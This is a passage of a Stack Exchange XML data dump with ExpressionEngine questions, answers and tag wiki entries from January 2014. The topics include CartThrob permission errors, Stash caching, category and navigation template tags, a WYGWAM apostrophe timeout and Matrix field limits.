  <row Id="18581" PostTypeId="1" AcceptedAnswerId="18707" CreationDate="2014-01-21T15:57:49.653" Score="0" ViewCount="60" Body="&lt;p&gt;After I add the CartThrob Permissions field to my product channel, I am no longer able to edit my channel.  If I select channel &amp;gt; edit and then click a product I desire to edit, I get the following:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;An Error Was Encountered&lt;/p&gt;&#xA;&lt;p&gt;Unable to locate the model you have specified: cartthrob_field_model&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Expression Engine version 2.7.3&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;CartThrob version 2.4&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;What can I do, or what additional information would be helpful to debug this?&lt;/p&gt;&#xA;&lt;p&gt;Thanks in advanced.&lt;/p&gt;&#xA;" OwnerUserId="2641" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2014-01-24T00:39:23.517" Title="CartThrob Permissions FieldType added to product channel now I get error:" Tags="|cartthrob|error|fieldtype|permissions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18582" PostTypeId="2" ParentId="18578" CreationDate="2014-01-21T16:03:12.893" Score="1" Body="&lt;p&gt;You'll have to test this, but &lt;a href=&quot;http://devot-ee.com/add-ons/mx-title-control&quot; rel=&quot;nofollow&quot;&gt;MX Title Control&lt;/a&gt; allows you to update all entries with a pattern. You could set the URL Title Pattern to &lt;code&gt;{title}&lt;/code&gt; and try updating that way. As always, backup first before giving it a shot&lt;/p&gt;&#xA;" OwnerUserId="209" LastActivityDate="2014-01-21T16:03:12.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18583" PostTypeId="2" ParentId="18573" CreationDate="2014-01-21T16:13:22.383" Score="2" Body="&lt;p&gt;The native &lt;code&gt;exp:channel:categories&lt;/code&gt; tag doesn't offer any type of sorting parameters. I suggest using &lt;a href=&quot;http://gwcode.com/add-ons/gwcode-categories&quot; rel=&quot;nofollow&quot;&gt;GW Code Categories&lt;/a&gt; as it has a ton of useful options. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:gwcode_categories&#xA;    channel=&quot;corporate&quot;&#xA;    group_id=&quot;8&quot;&#xA;    excl_cat_id=&quot;82|116&quot;&#xA;    orderby=&quot;cat_name&quot;&#xA;    sort=&quot;asc&quot;&#xA;    style=&quot;nested&quot;&#xA;    status=&quot;Open&quot;&#xA;    show_empty=&quot;no&quot;&#xA;    id=&quot;nav_categories&quot;&#xA;    class=&quot;dropdown&quot;&#xA;}&#xA;    ...&#xA;{/exp:gwcode_categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can also disregard the category conditionals as I excluded them with the &lt;code&gt;excl_cat_id&lt;/code&gt; parameter.&lt;/p&gt;&#xA;" OwnerUserId="209" LastEditorUserId="209" LastEditDate="2014-01-21T16:29:41.083" LastActivityDate="2014-01-21T16:29:41.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18584" PostTypeId="2" ParentId="18561" CreationDate="2014-01-21T16:17:33.623" Score="0" Body="&lt;p&gt;You can wrap simple conditionals within the &lt;code&gt;structure:nav&lt;/code&gt; tag to check the segment first and then set a depth as simple conditionals are parsed before the nav tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:structure:nav&#xA;    css_id=&quot;none&quot;&#xA;    css_class=&quot;menu&quot;&#xA;    show_level_classes=&quot;yes&quot;&#xA;    current_class=&quot;active&quot;&#xA;    start_from=&quot;/&quot;&#xA;    has_children_class=&quot;yes&quot;&#xA;    {if segment_2 == &quot;press-release&quot;}show_depth=&quot;3&quot;{/if}&#xA;    {if segment_2 != &quot;press-release&quot;}show_depth=&quot;4&quot;{/if}&#xA;    exclude=&quot;142|144|146|148|150|152&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="209" LastActivityDate="2014-01-21T16:17:33.623" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18585" PostTypeId="2" ParentId="18550" CreationDate="2014-01-21T16:55:49.033" Score="3" Body="&lt;p&gt;I finally got this working (Low Search working with Stash static cached homepage)!!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I added the following rule to my .htaccess, to get it to really really ignore POST requests. I'm not sure why this works (maybe it's my server environment? I'm on a Nexcess EE-Optimized plan). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I added the following RewriteCond&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{THE_REQUEST} ^(GET)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And now, my Low Search form works and I can keep my homepage static-cached!&lt;/p&gt;&#xA;" OwnerUserId="1527" LastActivityDate="2014-01-21T16:55:49.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18586" PostTypeId="1" AcceptedAnswerId="18706" CreationDate="2014-01-21T17:03:39.073" Score="0" ViewCount="41" Body="&lt;p&gt;If I create a permission item (i.e. &lt;code&gt;CartThrob&lt;/code&gt; &amp;gt; &lt;code&gt;Add-Ons&lt;/code&gt; &amp;gt; &lt;code&gt;Create permission item&lt;/code&gt;) and then save it.  Everything seems to work as expected.&lt;/p&gt;&#xA;&lt;p&gt;However, when I enter &amp;quot;edit&amp;quot; mode and then try to &lt;code&gt;Submit&lt;/code&gt;, absolutely nothing happens...&lt;/p&gt;&#xA;&lt;p&gt;Google Chrome Inspector does not show any errors and there is no Network activity going on either.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Expression Engine version 2.7.3&lt;/p&gt;&#xA;&lt;p&gt;CartThrob version 2.4&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Let me know if I can provide any further details to help debug this.&lt;/p&gt;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Upon further investigation it appears there is no opening &lt;code&gt;&amp;lt;form&amp;gt;&lt;/code&gt; tag.  Does anyone know where this file is located or have any advice?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="2641" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2014-01-24T00:25:46.453" Title="CartThrob Edit Permission Item - Submit button doesn't do anything" Tags="|cartthrob|permissions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18587" PostTypeId="5" CreationDate="2014-01-21T17:06:51.897" Score="0" Body="&lt;p&gt;CartThrob Permissions Add-On enables your CartThrob powered site to sell and edit content access permissions. You can use permissions to limit access to content to only those that have purchased access to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CartThrob Permissions is an addon for CartThrob. Like other CartThrob addons, it must be uploaded and installed on your website, and CartThrob must be active for it to run. To use this addon, you will need to create permissions in the administrative interface, and add additional template tags to display these permissions. To sell permissions to customers, you must also adjust your template tags to include permissions when items are added to the cart. You can either manually assign permissions to items being added to the cart, or you can assign permissions to items using the CartThrob Permissions field types.&lt;/p&gt;&#xA;" OwnerUserId="2641" LastEditorUserId="2641" LastEditDate="2014-01-21T17:13:43.640" LastActivityDate="2014-01-21T17:13:43.640" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18588" PostTypeId="4" CreationDate="2014-01-21T17:06:51.897" Score="0" Body="CartThrob Permissions Add-On enables your CartThrob powered site to sell and edit content access permissions. You can use permissions to limit access to content to only those that have purchased access to it." OwnerUserId="2641" LastEditorUserId="2641" LastEditDate="2014-01-21T17:13:38.937" LastActivityDate="2014-01-21T17:13:38.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18589" PostTypeId="5" CreationDate="2014-01-21T17:09:33.003" Score="0" Body="&lt;p&gt;Fieldtypes handle all of the different types of data you can store in your Channels. ExpressionEngine includes a number of Fieldtypes by default, and you can install or uninstall additional ones.&lt;/p&gt;&#xA;" OwnerUserId="2641" LastEditorUserId="2641" LastEditDate="2014-01-21T17:13:48.013" LastActivityDate="2014-01-21T17:13:48.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18590" PostTypeId="4" CreationDate="2014-01-21T17:09:33.003" Score="0" Body="Fieldtypes handle all of the different types of data you can store in your Channels. ExpressionEngine includes a number of Fieldtypes by default, and you can install or uninstall additional ones." OwnerUserId="2641" LastEditorUserId="2641" LastEditDate="2014-01-21T17:13:50.890" LastActivityDate="2014-01-21T17:13:50.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18591" PostTypeId="5" CreationDate="2014-01-21T17:26:32.817" Score="0" Body="&lt;p&gt;Channel Entries are the primary tag used to show the content you create and edit via ExpressionEngine’s Publish section. It’s the most powerful tag in ExpressionEngine, and the most commonly used since its main function is to retrieve and display your site’s content.&lt;/p&gt;&#xA;" OwnerUserId="2641" LastEditorUserId="2641" LastEditDate="2014-01-21T17:29:11.250" LastActivityDate="2014-01-21T17:29:11.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18592" PostTypeId="4" CreationDate="2014-01-21T17:26:32.817" Score="0" Body="Channel Entries are the primary tag used to show the content you create and edit via ExpressionEngine’s Publish section. It’s the most powerful tag in ExpressionEngine, and the most commonly used since its main function is to retrieve and display your site’s content." OwnerUserId="2641" LastEditorUserId="2641" LastEditDate="2014-01-21T17:29:01.843" LastActivityDate="2014-01-21T17:29:01.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18593" PostTypeId="1" CreationDate="2014-01-21T17:27:51.417" Score="4" ViewCount="316" Body="&lt;p&gt;I added a comma, and my site went down. I was only recently granted an admin account, and am wondering if this could be related to my log-in permissions?&lt;/p&gt;&#xA;" OwnerUserId="2642" LastActivityDate="2014-01-27T18:25:01.473" Title="I added a comma, and the site went down" Tags="|error|" AnswerCount="3" CommentCount="4" ClosedDate="2014-01-27T19:30:47.973" ContentLicense="CC BY-SA 3.0" />
  <row Id="18596" PostTypeId="5" CreationDate="2014-01-21T17:46:04.067" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2014-01-21T17:46:04.067" LastActivityDate="2014-01-21T17:46:04.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18597" PostTypeId="4" CreationDate="2014-01-21T17:46:04.067" Score="0" Body="The error tag is typically used when there is a visible error code or error statement returned by the erring event." OwnerUserId="2641" LastEditorUserId="2641" LastEditDate="2014-01-21T19:52:42.990" LastActivityDate="2014-01-21T19:52:42.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18598" PostTypeId="5" CreationDate="2014-01-21T17:47:42.633" Score="0" Body="&lt;p&gt;ExpressionEngine’s Channel Module allows you to display content created using the Publish section of the Control Panel. It’s the most powerful module of ExpressionEngine, allowing you a great deal of flexibility for displaying your content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ref. &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/channel/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2641" LastEditorUserId="2641" LastEditDate="2014-01-21T19:51:49.767" LastActivityDate="2014-01-21T19:51:49.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18599" PostTypeId="4" CreationDate="2014-01-21T17:47:42.633" Score="0" Body="ExpressionEngine’s Channel Module allows you to display content created using the Publish section of the Control Panel. http://ellislab.com/expressionengine/user-guide/modules/channel/" OwnerUserId="2641" LastEditorUserId="2641" LastEditDate="2014-01-21T19:52:30.283" LastActivityDate="2014-01-21T19:52:30.283" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18600" PostTypeId="5" CreationDate="2014-01-21T17:48:58.013" Score="0" Body="&lt;p&gt;Modules are the most complex form of ExpressionEngine Add-On. They can have their own database tables, backend control panels, tabs and fields that are included on the publish page, as well as their own tags for use in templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ref. &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/modules.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/development/modules.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2641" LastEditorUserId="2641" LastEditDate="2014-01-21T19:51:31.250" LastActivityDate="2014-01-21T19:51:31.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18601" PostTypeId="4" CreationDate="2014-01-21T17:48:58.013" Score="0" Body="Modules are the most complex form of ExpressionEngine Add-On. They can have their own database tables, backend control panels, tabs and fields that are included on the publish page, as well as their own tags for use in templates." OwnerUserId="2641" LastEditorUserId="2641" LastEditDate="2014-01-21T19:51:36.170" LastActivityDate="2014-01-21T19:51:36.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18602" PostTypeId="5" CreationDate="2014-01-21T17:50:23.957" Score="0" Body="&lt;p&gt;Extensions can do things like modify an entire Control Panel page, add/remove functionality, and modify the appearance of certain page elements. Extensions enable third party developers to modify aspects of ExpressionEngine without hacking the backend scripts. You can think of an Extension as a plugin. But unlike a plugin, Extensions are not used within your templates, they instead allow you to modify the core system itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ref. &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/extensions.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/development/extensions.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2641" LastEditorUserId="2641" LastEditDate="2014-01-21T19:51:55.377" LastActivityDate="2014-01-21T19:51:55.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18603" PostTypeId="4" CreationDate="2014-01-21T17:50:23.957" Score="0" Body="Extensions enable third party developers to modify aspects of ExpressionEngine without hacking the backend scripts." OwnerUserId="2641" LastEditorUserId="2641" LastEditDate="2014-01-21T19:52:39.880" LastActivityDate="2014-01-21T19:52:39.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18604" PostTypeId="5" CreationDate="2014-01-21T17:51:11.430" Score="0" Body="&lt;p&gt;Channel Entries are the primary tag used to show the content you create and edit via ExpressionEngine’s Publish section. It’s the most powerful tag in ExpressionEngine, and the most commonly used since its main function is to retrieve and display your site’s content.&lt;/p&gt;&#xA;" OwnerUserId="2641" LastEditorUserId="2641" LastEditDate="2014-01-21T19:51:47.080" LastActivityDate="2014-01-21T19:51:47.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18605" PostTypeId="4" CreationDate="2014-01-21T17:51:11.430" Score="0" Body="Channel Entries are the primary tag used to show the content you create and edit via ExpressionEngine’s Publish section. It’s the most powerful tag in ExpressionEngine, and the most commonly used since its main function is to retrieve and display your site’s content." OwnerUserId="2641" LastEditorUserId="2641" LastEditDate="2014-01-21T19:51:25.937" LastActivityDate="2014-01-21T19:51:25.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18608" PostTypeId="5" CreationDate="2014-01-21T19:41:42.250" Score="0" Body="&lt;p&gt;A fieldtype for ExpressionEngine.&lt;/p&gt;&#xA;" OwnerUserId="2641" LastEditorUserId="2641" LastEditDate="2014-01-21T19:51:33.983" LastActivityDate="2014-01-21T19:51:33.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18609" PostTypeId="4" CreationDate="2014-01-21T19:41:42.250" Score="0" Body="A fieldtype for ExpressionEngine." OwnerUserId="2641" LastEditorUserId="2641" LastEditDate="2014-01-21T19:52:04.907" LastActivityDate="2014-01-21T19:52:04.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18610" PostTypeId="5" CreationDate="2014-01-21T19:42:26.080" Score="0" Body="&lt;p&gt;Channel Entries are the primary tag used to show the content you create and edit via ExpressionEngine’s Publish section. It’s the most powerful tag in ExpressionEngine, and the most commonly used since its main function is to retrieve and display your site’s content.&lt;/p&gt;&#xA;" OwnerUserId="2641" LastEditorUserId="2641" LastEditDate="2014-01-21T19:52:26.393" LastActivityDate="2014-01-21T19:52:26.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18611" PostTypeId="4" CreationDate="2014-01-21T19:42:26.080" Score="0" Body="Channel Entries are the primary tag used to show the content you create and edit via ExpressionEngine’s Publish section. It’s the most powerful tag in ExpressionEngine, and the most commonly used since its main function is to retrieve and display your site’s content." OwnerUserId="2641" LastEditorUserId="2641" LastEditDate="2014-01-21T19:52:00.690" LastActivityDate="2014-01-21T19:52:00.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18612" PostTypeId="5" CreationDate="2014-01-21T19:44:10.447" Score="0" Body="&lt;p&gt;CodeIgniter is the MVC framework created by &lt;a href=&quot;http://ellislab.com/codeigniter&quot; rel=&quot;nofollow&quot;&gt;EllisLab&lt;/a&gt; used as the foundation for ExpressionEngine.&lt;/p&gt;&#xA;" OwnerUserId="2641" LastEditorUserId="2641" LastEditDate="2014-01-21T19:51:52.640" LastActivityDate="2014-01-21T19:51:52.640" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18613" PostTypeId="4" CreationDate="2014-01-21T19:44:10.447" Score="0" Body="CodeIgniter is the MVC framework created by EllisLab used as the foundation for ExpressionEngine." OwnerUserId="2641" LastEditorUserId="7705" LastEditDate="2019-12-18T18:43:26.943" LastActivityDate="2019-12-18T18:43:26.943" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18614" PostTypeId="5" CreationDate="2014-01-21T19:46:58.237" Score="0" Body="&lt;p&gt;The software utility &lt;code&gt;cron&lt;/code&gt; is a time-based job scheduler in Unix-like computer operating systems. People who set up and maintain software environments use cron to schedule jobs (commands or shell scripts) to run at a set interval.&lt;/p&gt;&#xA;" OwnerUserId="2641" LastEditorUserId="2641" LastEditDate="2014-01-21T19:52:23.720" LastActivityDate="2014-01-21T19:52:23.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18615" PostTypeId="4" CreationDate="2014-01-21T19:46:58.237" Score="0" Body="The software utility `cron` is a time-based job scheduler in Unix-like computer operating systems. People who set up and maintain software environments use cron to schedule jobs (commands or shell scripts) to run at a set interval." OwnerUserId="2641" LastEditorUserId="2641" LastEditDate="2014-01-21T19:51:41.890" LastActivityDate="2014-01-21T19:51:41.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18616" PostTypeId="5" CreationDate="2014-01-21T19:47:55.227" Score="0" Body="&lt;p&gt;HTML or HyperText Markup Language is the main markup language for creating web pages and other information that can be displayed in a web browser.&lt;/p&gt;&#xA;" OwnerUserId="2641" LastEditorUserId="2641" LastEditDate="2014-01-21T19:51:58.127" LastActivityDate="2014-01-21T19:51:58.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18617" PostTypeId="4" CreationDate="2014-01-21T19:47:55.227" Score="0" Body="HTML or HyperText Markup Language is the main markup language for creating web pages and other information that can be displayed in a web browser." OwnerUserId="2641" LastEditorUserId="2641" LastEditDate="2014-01-21T19:52:11.360" LastActivityDate="2014-01-21T19:52:11.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18618" PostTypeId="5" CreationDate="2014-01-21T19:49:49.860" Score="0" Body="&lt;p&gt;RSS (Rich Site Summary); originally RDF Site Summary; often dubbed Really Simple Syndication, uses a family of standard web feed formats to publish frequently updated information: blog entries, news headlines, audio, video. An RSS document (called &quot;feed&quot;, &quot;web feed&quot;, or &quot;channel&quot;) includes full or summarized text, and metadata, like publishing date and author's name.&lt;/p&gt;&#xA;" OwnerUserId="2641" LastEditorUserId="2641" LastEditDate="2014-01-21T19:52:21.330" LastActivityDate="2014-01-21T19:52:21.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18619" PostTypeId="4" CreationDate="2014-01-21T19:49:49.860" Score="0" Body="RSS (Rich Site Summary); originally RDF Site Summary; often dubbed Really Simple Syndication, uses a family of standard web feed formats to publish frequently updated information: blog entries, news headlines, audio, video." OwnerUserId="2641" LastEditorUserId="2641" LastEditDate="2014-01-21T19:52:45.550" LastActivityDate="2014-01-21T19:52:45.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18620" PostTypeId="5" CreationDate="2014-01-21T19:51:52.257" Score="0" Body="&lt;p&gt;Markdown is a plain text formatting syntax designed so that it can optionally be converted to HTML using a tool by the same name. Markdown is popularly used as format for readme files, or for writing messages in online discussion forums, or in text editors for the quick creation of rich text documents.&lt;/p&gt;&#xA;" OwnerUserId="2641" LastEditorUserId="2641" LastEditDate="2014-01-21T19:52:32.957" LastActivityDate="2014-01-21T19:52:32.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18621" PostTypeId="4" CreationDate="2014-01-21T19:51:52.257" Score="0" Body="Markdown is popularly used as format for readme files, or for writing messages in online discussion forums, or in text editors for the quick creation of rich text documents." OwnerUserId="2641" LastEditorUserId="2641" LastEditDate="2014-01-21T19:52:35.597" LastActivityDate="2014-01-21T19:52:35.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18622" PostTypeId="1" AcceptedAnswerId="19595" CreationDate="2014-01-21T21:37:33.167" Score="1" ViewCount="288" Body="&lt;p&gt;I have a Channel Form on the frontend that contains a WYGWAM field. The field works fine unless I add an apostrophe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I do, after hitting submit, it hangs and I get a &quot;504 Gateway Time-out&quot; error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can add other symbols like quotes, dashes, question marks, etc. without issue. Clicking the WYGWAM source button, I see it is displaying correctly &lt;code&gt;&amp;amp;#39;&lt;/code&gt;. I am using the basic &lt;code&gt;{field:event_description}&lt;/code&gt; code, nothing special.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other fields in the form (not WYGWAM) work fine and I can add apostrophes to those fields without errors. The issue is also only on the front end and not in the control panel where I can add apostrophes there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using EE 2.7.3 and WYGWAM 3.2.2&lt;/p&gt;&#xA;" OwnerUserId="1773" LastActivityDate="2014-02-20T08:07:47.090" Title="WYGWAM Hangs (504 Gateway Time-out) when adding apostrophe" Tags="|wygwam|channel-form|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18623" PostTypeId="2" ParentId="18572" CreationDate="2014-01-21T21:42:09.513" Score="2" Body="&lt;p&gt;In addition to Derek's answer, try changing &lt;code&gt;return=&quot;contact|contact_us&quot;&lt;/code&gt; to &lt;code&gt;return=&quot;contact/contact_us&quot;&lt;/code&gt;, or some other URL (by the way, return=&quot;&quot; should hold a URL, absolute or relative).&lt;/p&gt;&#xA;" OwnerUserId="884" LastEditorUserId="55" LastEditDate="2014-01-21T22:17:48.427" LastActivityDate="2014-01-21T22:17:48.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18624" PostTypeId="1" AcceptedAnswerId="18632" CreationDate="2014-01-21T22:55:54.387" Score="1" ViewCount="501" Body="&lt;p&gt;It was my understanding that Stash embeds are cached by default. I'm working on an ecommerce site where all template groups have EE templates similar to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{stash:embed&#xA;    name=&quot;file&quot;&#xA;    context=&quot;@URI&quot;&#xA;    file_name=&quot;views:file&quot;&#xA;    process=&quot;static&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(I've got &lt;code&gt;process=static&lt;/code&gt; in there but I've also got static cacheing turned off in my config for now. Will be looking at that part of things later.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each view file then contains code that looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{stash:embed name=&quot;layouts:global&quot;}&#xA;{exp:stash:set name=&quot;st_content&quot;}Page content goes here{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So I thought that I would need to escape the add to cart part of my product detail page with &lt;code&gt;{stash:nocache}&lt;/code&gt;. But when I add that tag to my page, my form disappears and instead I get &lt;code&gt;[_Stash_1]&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I remove the &lt;code&gt;{stash:nocache}&lt;/code&gt; tags, the page appears as intended and then if I add products to the cart (which is also set up the same way and currently doesn't have any nocache tags in it), items get added to the cart successfully.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is, am I misunderstanding how cacheing works with Stash or am I doing something else wrong and will I get tripped up somewhere if I didn't correct the cacheing set-up now?&lt;/p&gt;&#xA;" OwnerUserId="116" LastActivityDate="2014-01-22T12:01:55.867" Title="Stash cacheing with embeds" Tags="|stash|caching|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18625" PostTypeId="2" ParentId="18576" CreationDate="2014-01-22T01:33:47.423" Score="0" Body="&lt;p&gt;You're not really &lt;em&gt;filtering&lt;/em&gt; your entries - you're simply showing some content conditionally. Filtering would happen at the query level - if &lt;code&gt;specifications&lt;/code&gt; were a Grid field, then you could do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel='artworks' search:specifications=&quot;Painting&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then &lt;code&gt;{count}&lt;/code&gt; would work as you expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if &lt;code&gt;specifications&lt;/code&gt; is a Relationship field, this won't work. You'll need to resort to some PHP (which will need to be &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/design/templates/edit_template.html#allow-php&quot; rel=&quot;nofollow&quot;&gt;enabled for this specific template&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $count = 1; ?&amp;gt;&#xA;{exp:channel:entries channel='artworks'}&#xA;    {if &quot;{specifications}{type}{/specifications}&quot; == &quot;Painting&quot;}&#xA;        &amp;lt;?php echo $count; $count++; ?&amp;gt;&#xA;    {/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2014-01-22T18:25:43.283" LastActivityDate="2014-01-22T18:25:43.283" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18626" PostTypeId="1" AcceptedAnswerId="18776" CreationDate="2014-01-22T06:43:27.630" Score="0" ViewCount="276" Body="&lt;p&gt;The entry I'm having problems has a Matrix field with over 100 rows, on 8 columns of data (7 simple text fields, 1 dropdown with 2 options). When attempting to add just one more row and hitting the submit button, the server seems to be choking and coming up with a the default 404 page set for the website...no error messages or anything to tell what's actually going on. Checking the PHP error logs also shows nothing up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've attempted to up the 'memory_limit' to 2048M and the 'max_execution_time' to 300, but neither of these makes any difference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Running EE v2.5.5 and Matrix v2.5.10, there's are also another Matrix field, and Assets field and a WYGWAM field on this entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A strange thing is that I can update this entry on my local MAMP setup, but not the Production server.&lt;/p&gt;&#xA;" OwnerUserId="347" LastActivityDate="2014-01-27T02:46:38.803" Title="What is the limit of Matrix? Getting redirected to 404 error on entry with large number of Matrix rows" Tags="|matrix|assets|pixelandtonic|memory-limit|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18629" PostTypeId="2" ParentId="18567" CreationDate="2014-01-22T07:33:13.300" Score="1" Body="&lt;p&gt;Received a mail back from the developers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It isn't possible at this moment but they are willing to put it on their list of potential things to do. No commitment towards if/when.&lt;/p&gt;&#xA;" OwnerUserId="2086" LastActivityDate="2014-01-22T07:33:13.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18631" PostTypeId="1" AcceptedAnswerId="18637" CreationDate="2014-01-22T11:16:08.467" Score="0" ViewCount="103" Body="&lt;p&gt;I am using the freeform_module_admin_notification hook and the documentation indicates that the field contents should be available:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;fields (array) - output data of fields by fieldname&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But the fields array contains the 'Field Label' of the field keyed by the Field Name.Not the value entered in the form by the user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example I have defined a text field in the admin panel for the module, &#xA; it is called 'name' and the Field Label is 'Name'&#xA;I have included it on a form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;text&quot; id=&quot;name&quot; name=&quot;name&quot; class=&quot;input-1&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But the value I get within the extension is 'Name' not the value entered in the field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$fields['name'] has a value of Name&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone any idea if this is a bug or I am just doing 